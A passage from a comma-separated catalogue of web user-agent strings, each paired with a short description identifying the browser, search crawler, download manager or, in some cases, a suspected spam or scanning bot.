Firefox/3.0b5\nTiscali Communicator - Online services suite,Mozilla/5.0 (Windows; U;XMPP Tiscali Communicator v.10.0.1; Windows NT 5.1; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nHealthline health related search robot (72.5.115.xx),Mozilla/5.0 (Windows;) NimbleCrawler 1.12 obeys UserAgent NimbleCrawler For problems contact: crawler@health\nHealthline health related search robot (72.5.115.xx),Mozilla/5.0 (Windows;) NimbleCrawler 1.12 obeys UserAgent NimbleCrawler For problems contact: crawler@healthline.com\nKazehakase - Gecko based browser (Japan),Mozilla/5.0 (X11; Linux i686; U;rv: 1.7.13) Gecko/20070322 Kazehakase/0.4.4.1\nNetscape 6.x Linux,Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01\nSeaMonkey browser suite (ex Mozilla) on Linux,Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.8.0.2) Gecko/20060309 SeaMonkey/1.0\nEpiphany (Mozilla/Gecko engine) browser Linux,Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)\nNautilus (developed by Eazel.com) 1.x Browser Linux,Mozilla/5.0 (X11; U; Linux i686; en-US; Nautilus/1.0Final) Gecko/20020408\nMozilla (Gecko) 0.9x browser Linux,Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801\nSpinn3r social network crawler,Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1; aggregator:Spinn3r (Spinn3r 3.1); http://spinn3r.com/robot) Gecko/20021130\nPhoenix 0.3 browser (Mozilla/Gecko engine) - now Firebird Linux,Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2b) Gecko/20021007 Phoenix/0.3\nEpiphany (Mozilla/Gecko engine) browser Linux,Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040413 Epiphany/1.2.1\nSnap Firefox Search Plugin,Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 SnapPreviewBot\nBon Echo Alpha - developer preview of future Firefox browser,Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061129 BonEcho/2.0\nIceWeasel - the GNU version of the Firefox browser,Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)\nMozilla Firefox 3.0 beta (Gran Paradiso) for Linux,Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9a8) Gecko/2007100619 GranParadiso/3.0a8\nGaleon 1.x Browser Linux,Mozilla/5.0 Galeon/1.0.2 (X11; Linux i686; U;) Gecko/20011224\ngURLChecker - GNOME link checking tool,Mozilla/5.0 gURLChecker/0.x.x (Linux)\nURL Spider - used by usww.net,Mozilla/5.0 URL-Spider\nW8net spider,Mozilla/5.0 usww.com-Spider-for-w8.net\nGenieKnows.com search robot (64.5.245.xx / 64.5.220.xxx),Mozilla/5.0 wgao@genieknows.com\naxxus.de German business directory,Mozilla/5.0 whoiam [http://www.axxus.de/]\nYuntis : Collaborative Web Resource Categorization and Ranking Project robot,Mozilla/5.0 [en] (compatible; Gulper Web Bot 0.2.4 www.ecsl.cs.sunysb.edu/~maxim/cgi-bin/Link/GulperBot)\nMetaExplorer project's MetaQuerier robot,MQbot metaquerier.cs.uiuc.edu/crawler\nMetaExplorer project's MetaQuerier robot,MQBOT/Nutch-0.9-dev (MQBOT Nutch Crawler; http://falcon.cs.uiuc.edu; mqbot@cs.uiuc.edu)\nMS Frontpage 4.x,MSFrontPage/4.0\nSome faked UA - maybe for a download manager,MSIE 4.0 (Win95)\nunknown robot from gw.ocg-corp.com (209.126.176.x),MSIE-5.13 (larbin@unspecified.mail)\nMSN media search robot,msnbot-media/1.0 (+http://search.msn.com/msnbot.htm)\nWindows Live product search (Beta) robot,msnbot-Products/1.0 (+http://search.msn.com/msnbot.htm)\nMSN Search robot - 131.107.xxx.xxx 204.95.96.xxx - 204.95.111.xxx 207.46.xxx.xxx,MSNBOT/0.xx (http://search.msn.com/msnbot.htm)\nMSN Search robot - 131.107.xxx.xxx 204.95.96.xxx - 204.95.111.xxx 207.46.xxx.xxx,msnbot/x.xx ( http://search.msn.com/msnbot.htm)\nMicrosoft search for mobiles,MSNBOT_Mobile MSMOBOT Mozilla/2.0 (compatible; MSIE 4.02; Windows CE; Default)\nMSN Search robot - 131.107.xxx.xxx 204.95.96.xxx - 204.95.111.xxx 207.46.xxx.xxx,MSNPTC/1.0\nMicrosoft proxy server,MSProxy/2.0\nMacEdition CodeBitch link checking,MSRBOT\nMicrosoft MSRBot,MSRBOT (http://research.microsoft.com/research/sv/msrbot)\nStreamBox VCR user agent,\"Mulder, VCR-1.0\"\nMultiblocker (Fantomaster) anonymity software user,multiBlocker browser\nMultiCrawler for DERI Galway's Semantic Web Search Engine cluster,multicrawler ( http://sw.deri.org/2006/04/multicrawler/robots.html)\nVirginia Tech Digital Library Research Laboratory robot,MultiText/0.1\nSoMusical! musical directory link checking,MusicWalker2.0 ( http://www.somusical.com)\nUnknown bad bot from diff. Taiwanese IPs,MVAClient\nWindows HTTP Services (WinHTTP),My WinHTTP Connection\nunknown user robot (24.124.34.42),myDaemon\nGetRight download manager,MyGetRight/1.0.0\nGetRight download manager,MyGetRight/1.0b\nMylinea France web catalogue crawler,Mylinea.com Crawler 2.0\nVDOG - SEO webdirecory (Germany) link checking,mylinkcheck/1.02\nBlogbot (Germany) robot,Naamah 1.0.1/Blogbot (http://blogbot.de/)\nBlogbot (Germany) robot,Naamah 1.0a/Blogbot (http://blogbot.de/)\nNaver Japan / Korea robot ,NABOT/5.0\nNaver Japan / Korea robot ,nabot_1.0\nBadbot searching for Wordpress wp-login.php,NameOfAgent (CMS Spider)\nnaoFavicon4IE,naoFavicon4IE/1.xx\nUnknown spambot / harvester from diff. IPs,NASA Search 1.0\nNationaldirectory spider,NationalDirectory-WebSpider/1.3\nNationaldirectory spider,NationalDirectoryAddURL/1.0\nNaver Japan / Korea robot,NaverBot-1.0 (NHN Corp. / +82-2-3011-1954 / nhnbot@naver.com)\nNaver Japan / Korea robot,NaverBot_dloader/1.5\nNavisso closed beta robot (69.41.162.1xx),NavissoBot\nNavisso closed beta robot (69.41.162.1xx),NavissoBot/1.7  (+http://navisso.com/)\nVias Information Archival robot,NCSA Beta 1 (http://vias.ncsa.uiuc.edu/viasarchivinginformation.html)\nNebulla.info distributed crawler (Germany),Nebullabot/2.2 (http://bot.nebulla.info)\nNEC Researchindex robot - now CiteSeer.IST scientific document index,NEC Research Agent -- compuman at research.nj.nec.com\nrcn.com user agent ? NEC Researchindex robot ?,NEC-Hayek/1.0\nNet Seekr search robot,Net-Seekr Bot/Net-Seekr Bot V1 (http://www.net-seekr.com)\nNetAnts download manager,NetAnts/1.2x\nNetComplete IE browser package,NETCOMplete/x.xx\nNetinfo.bg search (Bulgaria) robot,NetinfoBot/1.0 (http://netinfo.bg/netinfobot.html)\nNetlookout internet notifier,NetLookout/2.24\nNetluchs (Germany) search (193.164.8.xx),Netluchs/0.8-dev ( ; http://www.netluchs.de/; ___don't___spam_me_@netluchs.de)\nNetMechanic link checker,NetMechanic Vx.0\nNewsGator NetNewsWire - Mac RSS feed reader,NetNewsWire/2.x (Mac OS X; http://ranchero.com/netnewswire/)\nunknown InCom (216.0.107.xx) robot,NetNoseCrawler/v1.0\nNetprospector metasearch software,Netprospector JavaCrawler\nNetpumper download manager,NetPumper/x.xx\nLook.com robot (209.87.232.x),NetResearchServer(http://www.look.com)\nIncyWincy search engine using DMOZ database,NetResearchServer/x.x(loopimprovements.com/robot.html)\nNetSeer search (beta) crawler via Amazon Web Services - see also Teemer,NetSeer/Nutch-0.9 (NetSeer Crawler; http://www.netseer.com; crawler@netseer.com)\nWirtualna Polska / Netsprint search (Poland) robot,NetSprint -- 2.0\nNetWhat Search crawler (69.9.167.1xx),NetWhatCrawler/0.06-dev (NetWhatCrawler from NetWhat.com; http://www.netwhat.com; support@netwhat.com)\nNetzippy robot,NetZippy\nunknown,NeuralBot/0.2\nUnknown (12.238.4.xxx) attbi.com client robot,newsearchengine (ThisUser@unspecified.mail)\nFetchLinks plugin for NewsGator RSS reader,NewsGator FetchLinks extension/0.2.0 (http://graemef.com)\nNewsGator online RSS reader,NewsGatorOnline/2.0 (http://www.newsgator.com; 1 subscribers)\nEliyon Crawler for Business People Search,NextGenSearchBot 1 (for information visit http://www.eliyon.com/NextGenSearchBot)\nNextopia crawler,NextopiaBOT (+http://www.nextopia.com) distributed crawler client beta v0.x\nfind your keywords - semantic search (Germany) robot,NG-Search/0.90 (NG-SearchBot; http://www.ng-search.com;  )\nExalead (France) search robot (193.47.80.xx),NG/1.0\nExalead Websearch image crawler (193.47.80.xx),NG/4.0.1229\nUnknown UA from PlanetLab distributed network,nicebot\nNicoZone childsafe search robot ,NICO/1.0\n\"Nikita the Spider - Online HTML validation , link checking\",Nikita the Spider (http://NikitaTheSpider.com/)\nExperimental LSI (?) robot from 140.233.69.xx (Middlebury.edu),NITLE Blog Spider/0.01\nDownload manager,Nitro Downloader 1.x (www.klsofttools.com)\nNoago spider,Noago Spider\ntelefonica.es user robot,Nocilla/1.0\nGoogle WAP robot,Nokia-WAPToolkit/1.2 googlebot(at)googlebot.com\nBotmobi crawler for Find.mobi mobile search,Nokia6300/2.0 (05.50) Profile/MIDP-2.0 Configuration/CLDC-1.1 (botmobi http://find.mobi/bot.html abuse@mtld.mobi)\nYahooSeeker/M1A1-R2D2 - Yahoo mobile web crawling robot,Nokia6610/1.0 (3.09) Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible;YahooSeeker/M1A1-R2D2; http://help.yahoo.com/help/us/ysearch/crawling/crawling-01.html)\nGoogle WAP proxy,Nokia7110/1.0 (05.01) (Google WAP Proxy/1.0)\nNokodo public beta search robot (67.18.222.xx),NokodoBot/1.x (+http://nokodo.com/bot.htm)\nBurf.com UK Search Engine robot,Norbert the Spider(Burf.com)\nnoXtrum search robot (Spain),noxtrumbot/1.0 (crawler@noxtrum.com)\nNoyona job search (preview),noyona_0_1\nNameprotect copyright search robot (24.177.134.x),NP/0.1 (NP; http://www.nameprotect.com; npbot@nameprotect.com)\nNameprotect copyright search robot (24.177.134.x),NPBot (http://www.nameprotect.com/botinfo.html)\nNameprotect copyright search robot (24.177.134.x),NPBot-1/2.0\nNsauditor Network Security Auditor,Nsauditor/1.x\nNetShow Media Player = Windows Media Player 10,NSPlayer/10.0.0.xxxx WMFSDK/10.0\nNsyght social search application,nsyght.com/Nutch-1.0-dev (nsyght.com; Nsyght.com)\nNsyght social search application,nsyght.com/Nutch-x.x (nsyght.com; search.nsyght.com)\nNTT Directory robot,nttdirectory_robot/0.9 (super-robot@super.navi.ocn.ne.jp)\nNucleus CMS SiteList link managing plugin,Nucleus SiteList LinkChecker/1.1\nnuSearch spider (84.9.136.xxx),nuSearch Spider <a href='http://www.nusearch.com'>www.nusearch.com</a> (compatible; MSIE 4.01)\nnuSearch spider (84.9.136.xxx),NuSearch Spider (compatible; MSIE 6.0)\nnuSearch spider (84.9.136.xxx),NuSearch Spider www.nusearch.com\nNutch open source robot,Nutch\nPicapage search for handheld devices using Nutch,Nutch crawler/Nutch-0.9 (picapage.com; admin@picapage.com)\nAyell Euronet business directory robot using Nutch,Nutch/Nutch-0.9 (Eurobot; http://www.ayell.eu )\nNetsweeper content filtering engine (66.207.120.2xx) powered by Nutch,NutchCVS/0.06-dev (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@lists.sourceforge.net)\nNutch open source robot,NutchCVS/0.0x-dev (Nutch; http://www.nutch.org/docs/bot.html; nutch-agent@lists.sourceforge.net)\nRobot from University of Washington Computer Science & Engineering (128.208.6.2xx),NutchCVS/0.7.1 (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; sycrawl@cs.washington.edu)\nAmazon Elastic Compute Cloud (Amazon EC2) robot,NutchEC2Test/Nutch-0.9-dev (Testing Nutch on Amazon EC2.; http://lucene.apache.org/nutch/bot.html; ec2test at lucene.com)\nNutch open source robot,NutchOrg/0.0x-dev (Nutch; http://www.nutch.org/docs/bot.html; nutch-agent@lists.sourceforge.net)\nUnknown robot using Nutch (maybe private crawling) via Cox network (70.187.130.25x),nutchsearch/Nutch-0.9 (Nutch Search 1.0; herceg_novi at yahoo dot com)\nUnknown crawler from University of Washington - Computer science,NutchVinegarCrawl/Nutch-0.8.1 (Vinegar; http://www.cs.washington.edu; eytanadar at gmail dot com)\nWeblog bookwatch robot,obidos-bot (just looking for books.)\nObjects Search robot,ObjectsSearch/0.01-dev (ObjectsSearch;http://www.ObjectsSearch.com/bot.html; support@thesoftwareobjects.com)\nObjects Search robot,ObjectsSearch/0.0x (ObjectsSearch; http://www.ObjectsSearch.com/bot.html; support@thesoftwareobjects.com)\nCobion Germany Brand Protection Services robot,oBot ((compatible;Win32))\nGlobalSpec Engineering Search robot (66.194.55.xxx),Ocelli/1.x (http://www.globalspec.com/Ocelli)\nOctopus download manager,Octopus\nOctora blog or RSS information crawler - beta (66.228.114.xx),Octora Beta - www.octora.com\nOctora RSS feed search,Octora Beta Bot - www.octora.com\nMeta Products Offlinebrowser,Offline Explorer 1.*\nClaymont robot / Internetseer Web Site Monitoring,OliverPerry\nOmniExplorer car & shopping search (64.62.175.xxx),OmniExplorer_Bot/1.0x (+http://www.omni-explorer.com) Internet CategorizerOmniExplorer http://www.omni-explorer.com/ car & shopping search (64.62.175.xxx)\nOmniExplorer car & shopping search (64.62.175.xxx),OmniExplorer_Bot/1.0x (+http://www.omni-explorer.com) Job Crawler\nOmniExplorer car & shopping search (64.62.175.xxx),OmniExplorer_Bot/1.1x (+http://www.omni-explorer.com) Torrent Crawler\nOmniExplorer car & shopping search (64.62.175.xxx),OmniExplorer_Bot/x.xx (+http://www.omni-explorer.com) WorldIndexer\nonsearch.de German web directory link checking ,onCHECK Linkchecker von www.scientec.de fuer www.onsinn.de\nonsearch.de German web directory link checking ,\"onCHECK-Robot, www.onsearch.de\"\nonet.pl Szukaj (Search) robot (213.180.128.1xx),Onet.pl SA- http://szukaj.onet.pl\nDead-Links.com link validation spider,online link validator (http://www.dead-links.com/)\nOnline24 shopping portal (Germany) link checking,\"Online24-Bot (Version: 1.0x, powered by www.online24.de)\"\nOntoSpider - Dutch robot for a research project. (195.11.244.xx),OntoSpider/1.0 libwww-perl/5.65\nSeetooZ search crawler,OOZBOT/0.20 ( http://www.setooz.com/oozbot.html ; agentname at setooz dot_com )\nOpenAcoon open source search engine (used by Acoon search),OpenAcoon v4.0.x (www.openacoon.de)\nOpenfind.com.tw robot,Openbot/3.0+(robot-response@openfind.com.tw;+http://www.openfind.com.tw/robot.html)\nOpenfind.com.tw robot,Openfind data gatherer- Openbot/3.0+(robot-response@openfind.com.tw;+http://www.openfind.com.tw/robot.html)\nOpenfind.com.tw robot,Openfind Robot/1.1A2\nopen i search robot  - search engine in development,OpenISearch/1.x (www.openisearch.com)\nOpentagger social bookmarking system,OpenTaggerBot (http://www.opentagger.com/opentaggerbot.htm)\nOpenText crawler,OpenTextSiteCrawler/2.9.2\nOpenWebSpider - Open Source web search engine,OpenWebSpider/0.x.x (http://www.openwebspider.org)\nOpenWebSpider - Open Source web search engine,OpenWebSpider/x\nOpera 5.0 Linux,Opera/5.0 (Linux 2.0.38 i386; U) [en]\nOpera 5.11 faked WinME referer,Opera/5.11 (Windows ME; U) [ru]\nOpera 5.12 Win98,Opera/5.12 (Windows 98; U) [en]\nunknown robot from gw.ocg-corp.com (209.126.176.x),Opera/6.01 (larbin@unspecified.mail)\nOpera 6.x- Mandrake Linux,Opera/6.x (Linux 2.4.8-26mdk i686; U) [en]\nOpera 6.x WinNT,Opera/6.x (Windows NT 4.0; U) [de]\nOpera 7.x WinXP,Opera/7.x (Windows NT 5.1; U) [en]\nOpera 8.x (Beta) WinXP,Opera/8.xx (Windows NT 5.1; U; en)\nOpera 9 (Beta) Browser,Opera/9.0 (Windows NT 5.1; U; en)\nOpera 9 (final),Opera/9.00 (Windows NT 5.1; U; de)\nOpera browser 9.6x on WinXP (Presto = Operas rendering engine),Opera/9.60 (Windows NT 5.1; U; de) Presto/2.1.1\nOpidoo Search Belgium robot (62.4.83.xxx),OpidooBOT (larbin2.6.3@unspecified.mail)\nOpen Wave Phone Simulator SDK,OPWV-SDK UP.Browser/7.0.2.3.119 (GUI) MMP/2.0 Push/PO\nOracle Application Server cache,Oracle Application Server Web Cache 10g\nOracle interMedia Text - Text and web documents indexing,Oracle iMTCrawler\nOracle Search,Oracle Ultra Search\nOrangeslicer semantic search (Beta) Germany (193.201.52.1xx),OrangeSpider\nOrbiter - DailyOrbit search spider,Orbiter/T-2.0 (+http://www.dailyorbit.com/bot.htm)\nOrca browser - based on Gecko,Orca Browser (http://www.orcabrowser.com)\nMarketscore (was Netsetter) internet accelerator,OSSProxy 1.3.305.321 (Build 305.321 Win32 en-us)(Dec 21 2005 16:30:54)\nUnknown robot from Chinanet (220.181.8.xxx),OutfoxBot/0.x (For internet experiments; http://; outfox.agent@gmail.com)\nUnknown robot from Chinanet (60.191.80.1),OutfoxMelonBot/0.5 (for internet experiments; http://; outfoxbot@gmail.com)\nOverture/Fast/Alltheweb crawler (66.77.73.xxx),Overture-WebCrawler/3.8/Fresh (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)\nUnknown robot from 198.169.127.xx (innovationplace.com),OWR_Crawler 0.1\nOzelot - Flying Cat's search engine robot (Germany),ozelot/2.7.3 (Search engine indexer; www.flying-cat.de/ozelot; ozelot@flying-cat.de)\nPADLibrary.com - PAD file software robot for FindFiles.com,PADLibrary Spider\nPagebites job search crawler,PageBitesHyperBot/600 (http://www.pagebites.com/)\nPagebull visual search engine,Pagebull http://www.pagebull.com/\nPagestacker online bookmark service,Pagestacker Bot\nSecure Computing SmartFilter Tools - malware crawler,page_verifier (http://www.securecomputing.com/goto/pv)\nDownloadmanager ?,PagmIEDownload\nCFC crawler used by Italian academic and research network (GARR),parallelContextFocusCrawler1.1parallelContextFocusCrawler1.1\nhttp://www.ianett.com robot,ParaSite/1.0b (http://www.ianett.com/parasite/)\nPatsearch (Germany) robot,Patwebbot (http://www.herz-power.de/technik.html)\nPavuk web downloading program for Unix,pavuk/0.9pl29b i686-pc-linux-gnu\nSome site scanning tool via diff. IPs- i.e.: - cox.net (68.4.xxx.xxx),PBrowse 1.4b\nPost.sk / Eurotel.sk robot,pd02_1.0.0 pd02_1.0.0@dzimi@post.sk\nPear HTTP_Request PHP extension package,PEAR HTTP_Request class ( http://pear.php.net/ )\nPeerbot - favicon search robot,PEERbot www.peerbot.com\nUnknown robot from 64.5.48.xxx (Plethoric.net),PeopleChat/Search_Engine\nSome site scanning tool via diff. IPs,PEval 1.4b\ndiff. IPs / services,PHP/3.x.xx\ndiff. IPs / services,PHP/4.0.4pl1\ndiff. IPs / services- i.e.: -NTT/Verio Inc. link checker,PHP/4.0.6\ndiff. IPs / services- i.e.: - Phenominet.com link checking,PHP/4.1.1\ndiff. IPs / services- i.e.: - 209.114.200.xx = MyNetCrawler link checking - 216.139.207.xxx = Mixcat crawler,PHP/4.1.2\nPico Search robot,PicoSearch/1.0\nPiffany targeted search web spider,Piffany_Web_Scraper_v0.x\nPiffany targeted search web spider,Piffany_Web_Spider_v0.x\nWhois Source domain name information robot (66.249.26.xx)- s.also: - SurveyBot,PigeonBot1.0 BETA\nPingALink website monitoring,PingALink Monitoring Services 1.0\nPingALink website monitoring,PingALink Monitoring Services 1.0 (http://www.pingalink.com)\nPingdom web site monitoring,Pingdom GIGRIB (http://www.pingdom.com)\npipeline search (DMOZ based) search robot (24.106.39. xxx),pipeLiner/0.3a (PipeLine Spider;http://www.pipeline-search.com/webmaster.html; webmaster'at'pipeline-search.com)\npipeline search (DMOZ based) search robot (24.106.39. xxx),pipeLiner/0.xx (PipeLine Spider; http://www.pipeline-search.com/webmaster.html)\nPita crawler,Pita\nPrivate user-agent via Hurricane Electric Internet Services,Pizilla++ ver 2.45\nPortaljuice spider,PJspider/3.0 (pjspider@portaljuice.com; http://www.portaljuice.com)\nPlagger - pluggable RSS/Atom feed aggregator written in Perl,Plagger/0.x.xx (http://plagger.org/)\nunknown ucsd.edu robot,PlagiarBot/1.0\nPlantynet web filtering services - Blacklist DB robot,PlantyNet_WebRobot_V1.9 dhkang@plantynet.com\nUnknown UA from 66.220.23.2xx,plinki/0.1 (you got plinked! (thats a good thing..); http://www.plinki.com; crawl@plinki.com)\nPluck RSS feed crawler,PluckFeedCrawler/2.0 (compatible; Mozilla 4.0; MSIE 5.5; http://www.pluck.com; 1 subscribers)\nPluggd Podcast search engine,Pluggd/Nutch-0.9 (automated crawler http://www.pluggd.com;support at pluggd dot com)\nYutaka Endo's Pockey / GetHTML / GetHTMLW - some downloading tool from Japan,Pockey-GetHTML/4.12.0 (Win32; GUI; ix86)\nYutaka Endo's Pockey / GetHTML / GetHTMLW - some downloading tool from Japan,Pockey-GetHTML/x.xx\nYutaka Endo's Pockey / GetHTML / GetHTMLW - some downloading tool from Japan,Pockey/x.x.x\nYutaka Endo's Pockey / GetHTML / GetHTMLW - some downloading tool from Japan,Pockey7.x.x(WIN32GUI)\nHTTP user-agent for POE (portable networking framework for Perl ),POE-Component-Client-HTTP/0.64 (perl; N; POE; en; rv:0.640000)\nThePlanet/jaja-jak-globusy.com Google Adsense refferer spam bot from 70.85.116.* / 70.84.128.xxx / 70.85.193.xxx,Poirot\nPolybot webcrawler,polybot 1.0 (http://cis.poly.edu/polybot/)\nDir.com / Iliad French recherche robot,Pompos/1.x http://dir.com/pompos.html\nIliad / Free French recherche robot,Pompos/1.x pompos@iliad.fr\nPopdex - web site popularity crawler,Popdexter/1.0\nUnknown spam bot / harvester (63.223.10.***),Port Huron Labs\nPortalB (now Alacra search) spider,PortalBSpider/2.0 (spider@portalb.com)\nportalmmm IMode mobile browser,portalmmm/2.0 S500i(c20;TB)\nYahoo (66.94.237.1xx / 216.109.121.xx) favorites tracking robot,PostFavorites\nPotbot : A simple IRC bot written in Perl,potbot 1.0\nProject Rialto - data mining development project,PRCrawler/Nutch-0.9 (data mining development project; crawler@projectrialto.com)\nCUPS robot for AT&T Privacy Bird Privacy Preferences (P3P) enhancements,PrivacyFinder Cache Bot v1.0\nCUPS robot for AT&T Privacy Bird Privacy Preferences (P3P) enhancements,PrivacyFinder/1.1\nPrivoxy web proxy,Privoxy/3.0 (Anonymous)\nSome site scanning tool from diff. IPs- i.e.: - 67.99.33.x (lightningcon.broadwing.net),Production Bot 0116B\nSome site scanning tool from diff. IPs- i.e.: - 216.232.64.xx (telus.net),Production Bot 2016B\nSome site scanning tool from diff. IPs- i.e.: - 141.154.181.xxx (east.verizon.net),Production Bot DOT 3016B\nSome spam bot,Program Shareware 1.0.2\nunknown,Progressive Download\nunknown,Progressive Download HTTP check\nXP5 robot,Project XP5 [2.03.07-111203]\nAnswerchase PROve Answerbot,PROve AnswerBot 4.0\nProWebguide robot,ProWebGuide Link Checker (http://www.prowebguide.com)\nPicsearch robot (62.119.21.13x),psbot/0.1 (+http://www.picsearch.com/bot.html)\nSome site scanning tool via diff. IPs- i.e.: QWest Net,PSurf15a 11\nSome site scanning tool via diff. IPs- i.e.: Optonline net (24.191.xxx.xxx),PSurf15a 51\nSome site scanning tool via diff. IPs- i.e.: - choiceone.net (216.153.xxx.xxx) - attbi.com (12.250.xxx.xxx) - optonline.net (24.191.xxx.xxx),PSurf15a VA\nUnknown website grabbing / ripping for unknown purposes from 208.66.195.x - Digitalinfinity.org Russia,psycheclone\nSome robot from Stanford University (171.64.75.xxx = PubCrawl.Stanford.EDU),PubCrawl (pubcrawl.stanford.edu)\nParallel URL Fetcher downloading tool,puf/0.91beta6a (Linux 2.2.18; i686)\nParallel URL Fetcher downloading tool,puf/0.93.2a (Linux 2.4.18; i686)\nWebarooBot - Webaroo web site search / theme based downloading tool (64.124.122.2xx),pulseBot (pulse Web Miner)\nPureSight Internet content filter,PureSight\nPuxa Rapido download manager,PuxaRapido v1.0\nProgramacionWeb.net PWeBot link checking (Argentina),PWeBot/1.2 Inspector (http://www.programacionweb.net/robot.php)\nFast Search robot (using PycURL Python component- s. below),PycURL\nPycURL - Python interface to libcurl,PycURL/7.xx.x\nPython URL fetcher - robot used by Naver Japan/Korea,Python-urllib/1.1x\nPython URL fetcher - robot used by Google,Python-urllib/2.0a1\nQango.com Web Directory robot,Qango.com Web Directory (http://www.qango.com/)\nQEAVis: Quantitative Evaluation of Academic Websites Visibility using Nutch,QEAVis Agent/Nutch-0.9 (Quantitative Evaluation of Academic Websites Visibility; http://nlp.uned.es/qeavis\nQuepasa!com (Latin American search) robot,QPCreep Test Rig ( We are not indexing- just testing )\nQuepasa!com (Latin American search) robot,QuepasaCreep ( crawler@quepasacorp.com )\nQuepasa!com (Latin American search) robot,QuepasaCreep v0.9.1x\nQueryN Metasearch robot,QueryN Metasearch\nBlacktrees Quicksilver helper application for Mac,\"Quicksilver (Blacktree,MacOSX)\"\nQuicktime for Macintosh,QuickTime\\xaa.7.0.4 (qtver=7.0.4;cpu=PPC;os=Mac 10.3.9)\nQweerybot for the Qweery search engine (in development) - Netherland,QweeryBot/3.01 ( http://qweerybot.qweery.nl)\nQweerybot for the Qweery search engine (in development) - Netherland,Qweery_robot.txt_CheckBot/3.01 (http://qweerybot.qweery.com)\nRadian6 RSS feed comment crawler,R6_CommentReader_(www.radian6.com/crawler)\nRadian6 Rss feed crawler,R6_FeedFetcher_(www.radian6.com/crawler)\ngigaBaz - the brainbot (Germany) robot,rabaz (rabaz at gigabaz dot com)\nDAUMOA - Daum search Korea robot (211.115.109.xxx),RaBot/1.0 Agent-admin/phortse@hanmail.net\nBot Provider for the All Womans Bot Service?,Rainbot1.1\nIntersearch.de (was www.intersearch.de) robot (Germany),ramBot xtreme x.x\ngiveRAMP Search Engine robot (64.69.43.1xx),RAMPyBot - www.giveRAMP.com/0.1 (RAMPyBot - www.giveRAMP.com; http://www.giveramp.com/bot.html; support@giveRAMP.com)\ngiveRAMP Search Engine robot (64.69.43.1xx),RAMPyBot/0.8-dev (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)\nRank Exec reciprocal link checking,Rank Exec (rankexec.com) Reciprocal Link Manager 1.x/bot\nRankiva website popularity robot,Rankivabot/3.2 (www.rankiva.com; 3.2; vzmxikn)\nInnova/IBM Rational SiteCheck - Rational robot,Rational SiteCheck (Windows NT)\nUnknown spider from Raytheon Company - maybe Raytheon High Speed Guard proxy,RAYSPIDER/Nutch-0.9\nRead A Blog - RSS feed and blog search engine,ReadABlog Spider (compatible; 1.1; feed update; www.readablog.com)\nRealDownload download manager,RealDownload/4.0.0.4x\nThe REAP Web Crawler for the REAP project,REAP-crawler Nutch/Nutch-1.0-dev (Reap Project; http://reap.cs.cmu.edu/REAP-crawler/; Reap Project)\nReaper robot for SiteSearch,Reaper [2.03.10-031204] (http://www.sitesearch.ca/reaper/)\nReaper robot for SiteSearch,Reaper/2.0x (+http://www.sitesearch.ca/reaper)\nREBOL messaging language for distributed Internet apps,REBOL Core 2.x.x.x.x\nREBOL/View - machine independent internet client application,REBOL View 1.x.x.x.x\nRebusnet software site - link / submission checking,RebusnetBot (+http://www.rebusnet.biz)\nRebusnet software site - link / submission checking,RebusnetPADBot/1.5x (+http://www.rebusnet.biz)\nOnline reciprocal link checker,reciprocal links checker (http://www.recip-links.com/)\nrediff.com search link checking,RedBot/redbot-1.0 (Rediff.com Crawler; redbot at rediff dot com)\nRedCarpet crawler for Pronto price comparison search(66.179.107.1xx),RedCarpet/1.2 (http://www.redcarpet-inc.com/robots.html)\nDer Bot for telegenetic.net's security related search (65.220.67.2xx),RedCell/0.1 (InfoSec Search Bot (Coming Soon); http://www.telegenetic.net/bot.html; lhall@telegenetic.net)\nDer Bot for telegenetic.net's security related search (65.220.67.2xx),RedCell/0.1 (RedCell; telegenetic.net/bot.html; lhall_at_telegenetic.net)\nRedKernel Softwares robot,RedKernel WWW-Spider 2/0 (+http://www-spider.redkernel-softwares.com/)\nREL Link Checker Lite free version of Web Link Validator,REL Link Checker Lite x.x\nunknown,RepoMonkey Bait & Tackle/v1.01\nRewebber proxy service,Rewebber/1.2 libwww-perl/5.41\nApplied Semantics Auto-Categorizer for QWestDex Direct,rico/0.1\nRixBot Rebol Indexer for the RIX - Rebol related search (195.204.121.xx),RixBot (http://babelserver.org/rix)\nStreamBox VCR user agent,RMA/1.0 (compatible; RealMedia)\nReal Media server acting as client,RMA/1.0 (compatible; RealMedia)\nCanadian Content search crawler,RoboCrawl (http://www.canadiancontent.net)\nCanadian Content Search (207.44.220.xx) robot,RoboCrawl (www.canadiancontent.net)\nFindPal Australia metasearch robot (61.68.139.xx),RoboPal (http://www.findpal.com/)\nPopJapanSearch robot,Robot/www.pj-search.com\nExperimental robot using Wget via attbi.net,Robot: NutchCrawler- Owner: wdavies@acm.org\nSupersnooper robot,Robot@SuperSnooper.Com\nNetscape Directory / DMOZ Open Directory link crawler,Robozilla/1.0\nROME - Open source Java tools for RSS and Atom feeds,Rome Client (http://tinyurl.com/64t5n) Ver: 0.9\nQualigo.de robot,Rotondo/3.1 libwww/5.3.1\ndifferent IPs using the HTTPClient library (mostly link checking),RPT-HTTPClient/0.3-x\nMetacarta.com (66.28.xx.xxx) robot,RRC (crawler_admin@bigfoot.com)\nRSS Bandit RSS/Atom reader for .NET framework,RssBandit/1.5.0.10 (.NET CLR 1.1.4322.2407; WinNT 5.1.2600.0; 